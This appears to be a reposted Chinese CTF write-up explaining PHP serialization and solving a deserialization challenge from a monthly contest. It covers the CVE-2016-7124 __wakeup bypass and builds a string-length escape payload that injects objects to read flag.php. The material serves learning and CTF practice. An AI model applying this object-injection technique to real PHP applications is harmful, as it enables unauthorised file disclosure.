PHP反序列化漏洞

   日期:2020-04-30     浏览:92    评论:0    
核心提示:前几天安恒月赛两道web题中有一道题是关于php反序列化的,然后刚好前几天刚好看过这个知识点,于是乎php

前几天安恒月赛两道web题中有一道题是关于php反序列化的,然后刚好前几天刚好看过这个知识点,于是乎这次比赛才没有爆零,总算是写出来了一道题/doge

序列化和反序列化

所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

https://www.php.net/manual/zh/language.oop5.serialization.php

示例:

<?php
class demo{
    public $a = 'thisisa';
    protected $b = 'thisisb';
    private $c = 'thisisc';
    public function __toString(){
        echo '__toString called <br>';
        return 'this is demo.toString()';
    }
}
$a = array('fir', 'sec', 'lalala');
$b = serialize($a);
// a:3:{i:0;s:3:"fir";i:1;s:3:"sec";i:2;s:6:"lalala";}
// 其中i指int

var_dump(unserialize($b));
echo '<br>';
// array(3) { [0]=> string(3) "fir" [1]=> string(3) "sec" [2]=> string(6) "lalala" }

$c = new demo();
echo $c;
echo '<br>';
// __toString called
// this is demo.toString()

$b = serialize($c);
echo $b;
echo '<br>';
// O:4:"demo":3:{s:1:"a";s:7:"thisisa";s:4:"*b";s:7:"thisisb";s:7:"democ";s:7:"thisisc";}
// 其中s指的是string,指变量名存储为字符串

$d = unserialize($b);
echo $d;
// __toString called
// this is demo.toString()

总之我的理解,就是序列化是将一个对象或者变量转化为字符串方便存储,然后反序列化就是将一个序列化后得到的字符串再还原原来的对象

序列化后的变量存储

可以观察到,在一个自己定义的类demo中,变量的类型不同(public protected private),在序列化字符串中变量名是有相应的变化的

O:4:"demo":3:{s:1:"a";s:7:"thisisa";s:4:"*b";s:7:"thisisb";s:7:"democ";s:7:"thisisc";}
  • 如果是public变量,那么变量名和定义类时相同
  • 如果是protected变量,那么序列化后存储时会在变量名前添加\00*\00,可以看到变量b的变量名长度为4
  • 如果是private变量,那么变量名前会添加\00className\00varName,可以看到变量c的变量名存储为\00demo\00c,长度为7

序列化与反序列化调用的魔术方法

当一个对象被序列化时,会调用该对象的__sleep()方法

当一个序列化字符串被反序列化为对象时,会调用该对象的__wakeup()方法

ps:当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

题目

<?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

分析源代码可以知道,很明显问题出在read()write()这两个函数上,chr(0)*chr(0)strlen之后可以知道长度为3,而单引号包裹的'\0\0\0'是不进行转义的,所以长度为6,read和write函数使序列化字符串长度产生了变化,但是两个函数是互补的,所以一般不会出问题,除非当A中的username和password中本来就有\0\0\0,于是就可能出问题了

假设post的数据a=abc,b=def,本地尝试的反序列化后的字符串为

O:1:"A":2:{s:8:"username";s:3:"abc";s:8:"password";s:3:"def";}

如果我们可以构造一个用户名和密码,让序列化后的字符串经过read和write函数的过滤,仍然能正确地反序列化,但是反序列化后的对象中的变量存储的值却是另一个对象,这样就可以构成任意对象注入

首先观察源代码,class C是用来读取flag内容的,flag在flag.php中,当c的__toString()方法被调用时就可以getflag,再观察class B,B对象在析构时会调用__destruct()方法,将变量$b与字符串a连接后输出

于是我们可以想到,使得class A的password变量为一个class B的对象,而class B的对象中的变量B是一个class C的对象,这样,class B中的析构方法会触发class C中的__toString()方法,从而getflag

payload

首先构造password变量的内容,

本地构造class C的一个实例$c并使得$c->c='flag.php'
然后构造class B的实例$b并使得$b->b=$c,反序列化得到:
O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";};}

然后就是构造username和password

username = \0 *36
pass = efghsssssssss";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";};}

上面的示例在序列化之后成为

ser = O:1:"A":2:{s:8:"username";s:72:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:88:"efghsssssssss";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";};};}";}

然后经过read和write之后,长度为72的\0 *36被换成了长度为36的chr(0)*chr(0) *12
即为

ser_ = O:1:"A":2:{s:8:"username";s:72:"************";s:8:"password";s:88:"efghsssssssss";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";};};}";}
ps:星号之间有不可见字符chr(0)

当反序列化函数读取到72时,pop()到最后一个chr(0)*chr(0)时,字符串长度只有36,于是反序列化函数会继续pop()后面的字符,也就是 ";s:8:"pass...
一直pop()到...hsssssssss时,长度刚好为72,而之后刚好被双引号闭合,于是反序列化后,变量username和password的内容为

username = ************";s:8:"password";s:88:"efghssssss";}
password = O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";};}

成功构造了class B和class C,序列化字符串后面多余的";}不会影响getflag

ps:
可以getflag,但是貌似反序列化是不成功的,再次unserialize($b)时会得到b:0;

 
打赏
 本文转载自:网络 
所有权利归属于原作者,如文章来源标示错误或侵犯了您的权利请联系微信13520258486
更多>最近资讯中心
更多>最新资讯中心
0相关评论

推荐图文
推荐资讯中心
点击排行
最新信息
新手指南
采购商服务
供应商服务
交易安全
关注我们
手机网站:
新浪微博:
微信关注:

13520258486

周一至周五 9:00-18:00
(其他时间联系在线客服)

24小时在线客服